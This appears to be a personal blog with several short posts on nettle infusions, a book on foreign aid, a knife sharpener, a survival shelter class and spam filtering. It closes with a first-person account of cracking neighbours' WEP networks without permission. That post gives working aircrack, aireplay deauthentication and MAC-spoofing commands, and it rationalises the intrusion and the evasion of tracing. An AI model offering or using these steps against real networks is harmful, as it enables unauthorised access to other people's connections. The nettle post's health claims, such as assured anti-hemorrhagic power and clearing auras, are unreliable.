Stinging nettle, an oft-overlooked “weed”, is quite the powerful herb. It’s leaves and stalks perform as a diuretic and an anti-inflammatory. It’s known to lessen the effects of seasonal allergies and can also be used as a dye.
Stinging nettle leaves and stalks are gentle enough for an everyday nourishing brew and powerful enough to heal damaged tissue. Kidneys, lungs, intestines, and arteries are tonified, strengthened, and gradually altered toward optimum functioning with consistent use of nettle, freshly cooked or infused. Women love this rich green plant during pregnancy, childbirth, and lactation for its safe diuretic effect, its gentle restorative laxative effect, its assured anti-hemorrhagic power, and its contribution to their over all well-being. Antiseptic when fresh juice is used as a wash for skin, kitchen, or stable, nettle also clears auras and energetic pathways. Hair gleams, grows, thickens, and darkens when nourished and rinsed with nettle infusions...
Last night, I concocted an infusion by placing 1/2 oz of dried nettle in a glass jar, and pouring 2 quarts of boiling water over it. In the morning, the plant material was strained out of it. I drank about half of it throughout the day and the rest, used as a rinse on my hair after shampooing in the shower. I experienced a sort of buzzing, euphoric effect after pouring it over my head, though I think this may just be the combination of the refrigerator-temperature infusion in a hot shower combined with placebo. I’m curious to notice any effects in the morning, other than my head smelling something akin to a compost pile.
Michael Maren’s The Road to Hell: The Ravaging Effects of Foreign Aid and International Charity shatters the glossy image of NGOs as humanitarian organizations concerned with the betterment of third-world peoples. Instead, he claims Aid as a new kind of colonization. Focusing on Somalia, Maren shows that NGOs there not only didn’t help refugees, but actively killed them. That NGOs supported the power of Siyaad Barre and, later, Mohamed Farah Aydiid. And that NGOs were largely responsible for continuing and worsening famine conditions in the early ‘90’s. In the end, he shows them as no more than Corporations concerned with profit.
It’s an excellent book. Not only for exposing the Aid industry, but for the history and understanding of Somalia.
Tonight I sharpened two blades with my new Spyderco Tri-Angle Sharpmaker. It’s a set of two ceramic stones (one medium, one fine) set into a plastic base, with two brass hand guards. The base sets the stones at a 40° angle (there’s also an option for 30°), allowing the user to hold the knife parallel to the base, which eliminates the fudge factor that comes with normal stones. So far, I’m enjoying it. It’s certainly sharpened both knives I’ve tried on it (Leatherman Wave and BK10), though they’re neither razor sharp. Both were pretty dull to start with, so I think it’s just going to take a few more cycles through the Tri-Angle before I can get them up to speed.
The Wave had a small cink in the blade that the medium stone was able to take care of. The BK10 has a significantly larger cink that the medium stone shaved down a bit, but it’s still there. Again, I think I’ll be able to take care of it with a bit more work. If not it may be worth it just to take it in to a professional sharpener so I can start with a clean slate.
My only complaint about the Tri-Angle is the cheap plastic base. There’s a variety of different slots, all made to hold the stones and guards in a variety of different configurations, but each require a little fiddling with to insert the stones and guards into. I think a metal or wood base would have been more appropriate.
The sharpener also comes with a DVD demonstrating proper use. It’s amazing how versatile the system is – or, at least, how versatile the DVD claims it is. It seems anything can be sharpened with the Tri-Angle. From plain edge to serrated knifes, hair clippers to toe clippers, potato peelers to screwdrivers. I may try a serrated blade on it tomorrow.
The average price on the net seems to be about $45. I picked it up for $42.95 (those guys have amazingly fast shipping, too). At that price, I’d say it’s a very worthy investment.
The fire and shelter class was originally supposed to be 2.5 days. Somewhere along the line, Management cut it down to just 24 hours. Still, our teacher decided to continue with the class. We focused on shelter building, not having much time for fire.
The shelter we built was a debri-pee. Rather self explanatory – a tee-pee, but made with debris. The group of people (there were 6 of us) sit in a circle, legs crossed, and place a stick in the ground behind their back. This marks this circumference of the circle. After this, two rows of alternating sticks, 2 feet tall, 1 foot apart, are placed around the circle. Three ridge poles, the hight of the tallest person, are setup in the middle, with their ends inside the circle, and tied off with some form of cordage at the top. Their angle should be about 45 degrees to maximize rain run-off. More ridge poles are lain around the circle – as many as you can find and fit. Then, the lower wall (created by the circle of alternating sticks) is insulated with debris (mmm…sword ferns). Next, the upper wall (created by the ridge poles) is latticed (the lower branches of Hemlock work great – snack on the needles while you work). Then start throwing on the debris. Sword ferns make a good first layer – about 4 feet of insulation. Then toss on some maple leaves to minimize rain penetration. Perhaps shingle it with bark. Remember to punch a smoke hole in the top. The hole for the door should be slightly wider than the biggest person. The door itself is a plug made of vines, twigs, sticks, leaves, ferns, etc. Insulate the floor of your new home with ferns, but first lay down a little Hemlock. Remember to stash firewood anywhere and everywhere inside. Small pieces. You don’t want to burn your new home down. Carry in a few coals from your outside fire and settle in for the night.
It took the six of us about 5 hours to construct our debri-tee. Since it’s sized out by us all sitting cross-legged in the shelter, it’s a bit cramped when laying down. You’re basically sleeping in the fetal position, with your head on the next person’s legs. But other than that, it’s comfortable. We each had alternating one hour fire-tending shifts, to keep us warm and make sure the ferns didn’t catch fire. It started pouring at about 3AM and rained all night, but our shelter kept us dry.
We each left with a block of cedar from which to craft a bow-drill. I’m waiting for my new knife sharpener to arrive before I give it a shot.
Speaking of knives, our teacher, Phil, had a Tracker knife that I played with – the custom, $400 version made by Dave Beck, not the commercial one made with crappy steel. It’s certainly nicer than my BK10, though, overall, I can’t say I was too impressed with it. Not for a $400 knife. I fell an Alder with it, but the saw is really too short to do much with. The handle has two positions, but felt too small for my hand. I did like cutting ferns with the dip between the chopping and carving blades.
I’m looking forward to building a debri-tee here. And transferring some of the tricks I learned to the other shelters up in the woods.
Keeping warm and dry are two of the foremost priorities for wilderness survival. Learning to build your own fire by friction and shelter in the woods are also great fun. This new 24-hour NatureSkills weekend introduces both topics from a variety of perspectives. Participants should their own food including something to cook over the fire for dinner.
Fire Topics: philosophy of fire-making; 5-minute fires; primitive fire-making methods (bow drill) collecting/harvesting fire materials.
Shelter Topics: properties of natural materials for insulation; creating individual and group shelters, using fire inside shelters; and staying overnight in a shelter that you have constructed.
I’m looking forward to more bow-drill practice.
Despite the cold, wind, and rain we’ve been having the past week or so, Weather.com says I shouldn’t freeze my butt off – but a sleeping bag is on the gear list (I didn’t think it would be), so as long as I spend enough time waterproofing my shelter, I should be ok.
I spent most of yesterday playing with SpamAssassin, ending up installing my own copy instead of using Dreamhost’s instance. It seems to be working, more or less, but will take some time to train. If you send me an email sometime within the next month, and I don’t reply within a few days (and your message warranted a response), try to send it to me again. Or contact me through other means.
(I will be checking my “Spam of Death” folder for false-positives and correcting them, but you never know.)
Someone set off the fire alarm in my building last night at 2am. Just as I was about to go to bed. Luckily, the alarm isn’t tied directly to the sprinklers.
Before moving into my new place last month, I had planned on paying an ISP for internet access. But, complications arose with the company I had chosen, so I decided to cancel my order soon after it was placed. Instead, I planned to borrow internet access from my neighbors (hey, they’re pumping signals into my air-space). Trouble was, everyone had encrypted their networks with WEP. No doubt this is a good thing, and a vast improvement from the last time I had scanned down here (about 8 months ago), but I wanted in. I was able to justify cracking in to myself by recognizing that my paranoia isn’t limited just to the “others” out on the global interwebs – no, I’d be just as paranoid about the owner of whomever’s network I was breaking into watching my traffic. There was no question I’d make ample use of encryption, which, as a side benefit, meant that anything I did through his connection would be rather difficult to trace back. So, he was protected. As long as he wasn’t paying for bandwidth by the KB, he’d not be much affected by my leeching. (I use the pronoun “he” because I know now that the owner of my primary network is, in fact, a he – put a password on your routers, people!).
But there was another problem, in addition to WEP: during reconnaissance, I would rarely pick up any connected clients. Perhaps I was always trying at the wrong time of day. Or perhaps people pay for internet access and never use it. Regardless, it would have taken weeks of constant logging to gather enough IVs to crack the WEP key. So, the first step was to take the money I had saved by canceling my order with the ISP, and invest in a new wireless card that supported packet injection.
The Proxim 8470-WD (from aircrack-ng’s recommended list) caught my eye, though it took a while before I could find it a decent price. To do my initial cracking, I popped in Backtrack and followed aircrack-ng’s newbie guide. (I had upgraded my trusty old Auditor cd to Backtrack just for this occasion. It’s quite the nice distribution.) Within about 5 minutes, I had gained access to the first network. Goes to show how secure WEP is.
Though the Proxim card is plug and play in Ubuntu, the steps to crack WEP are a little different. Here’s what I do (note that I do recommend using Backtrack, instead).
First, of course, one must install aircrack:
sudo apt-get install aircrack
You may change your mac address manually, or, if you aren’t concerned with anonymity, don’t change it all. I have a preference of using the macchanger tool:
sudo apt-get install macchanger
Set your card’s MAC address randomly. In this case, the network device is at ath0:
sudo ifconfig ath0 down
sudo macchanger -r ath0
sudo ifconfig ath0 up
Put your card into monitor mode:
sudo iwconfig ath0 mode monitor
Start scanning:
sudo airodump ath0 dump 0
In this case, dump is the file prefix for airodump’s output and the 0 tells airodump to channel-hop. Now you want to pick your target network from the scan. It should have at least one client connected (displayed at the bottom of airodump’s output), the more the merrier. (Hopefully that client is transmitting data, too.)
When you pick your target, kill the first instance of airodump and start it up again, this time specifying the channel of your target:
sudo airodump ath0 targetdump 9
The targetdump is the file prefix and 9 is the channel. Optionally you can add a 1 to the end of the command, which tells airodump to only capture IVs (which is what you’re after). I normally don’t bother.
When you’ve captured somewhere in the range of 250,000 - 500,000 data packets (shown by airodump in the “Packets” column of your target client), you can start cracking:
aircrack -b 00:12:34:45:78:A3 targetdump.cap
In this case, -b is the essid of your target network. Cracking could take minutes, hours, days, weeks, months, or years. I’ve never had to wait over 20 minutes.
But what if the client is being a party-pooper and not transmitting? That’s where packet injection comes in. From aircrack’s guide:
ARP works (simplified) by broadcasting a query for an IP and the device that has this IP sends back an answer. Because WEP does not protect against replay, you can sniff a packet, send it out again and again and it is still valid. So you just have to capture and replay an ARP-request targeted at the AP to create lots of traffic (and sniff IVs).
You’ll want to keep airodump running, so that all the traffic you generate will be captured. In another terminal, start injecting:
The -3 tells airepay you want to replay ARP requests, -b is that target network, and -h is the client. In a little bit, aireplay should inform you that it has captured 1 (or more) ARP packets. Sit back and watch airodump count up the IVs.
If that pesky client still isn’t cooperating, you can give it a little motivation. From aircrack:
Most operating systems clear the ARP cache on disconnection. If they want to send the next packet after reconnection (or just use DHCP), they have to send out ARP requests. So the idea is to disconnect a client and force it to reconnect to capture an ARP-request. A side-effect is that you can sniff the ESSID during reconnection too. This comes in handy if the ESSID of your target is hidden.
...the risk that someone recognizes this attack or at least attention is drawn to the stuff happening on the WLAN is higher than with other attacks.
Keep airodump and aireplay running, and in a new terminal give it a little kick in the butt:
sudo aireplay -0 5 -a 00:12:34:45:78:A3 -c A3:78:45:34:12:00 ath0
The first switch, -0, informs aireplay you want to force the client to be unauthenticated, -a is the target network, -c is the target client. When the client reconnects, you should start grabbing ARP requests.
After you have enough packets, crack the WEP key as before.
To manage and connect to my wireless networks, I’ve taken to using wifi-radar. It scans for networks, allows you to specify which networks you prefer and, for each network, allows you to set preferences such as the WEP key, whether to use dynamic or static addresses, and the like. What I like best is the connection commands, which allows you to set commands you want executed before wifi-radar connects to the network, and after. In the before field, I have it randomly change my mac address:
ifconfig ath0 down && macchanger -r ath0 && ifconfig ath0 up
After it connects, I restart tor:
/etc/init.d/tor restart
(As another reference for you, this site keeps turning up as a guide to cracking WEP in Ubuntu.)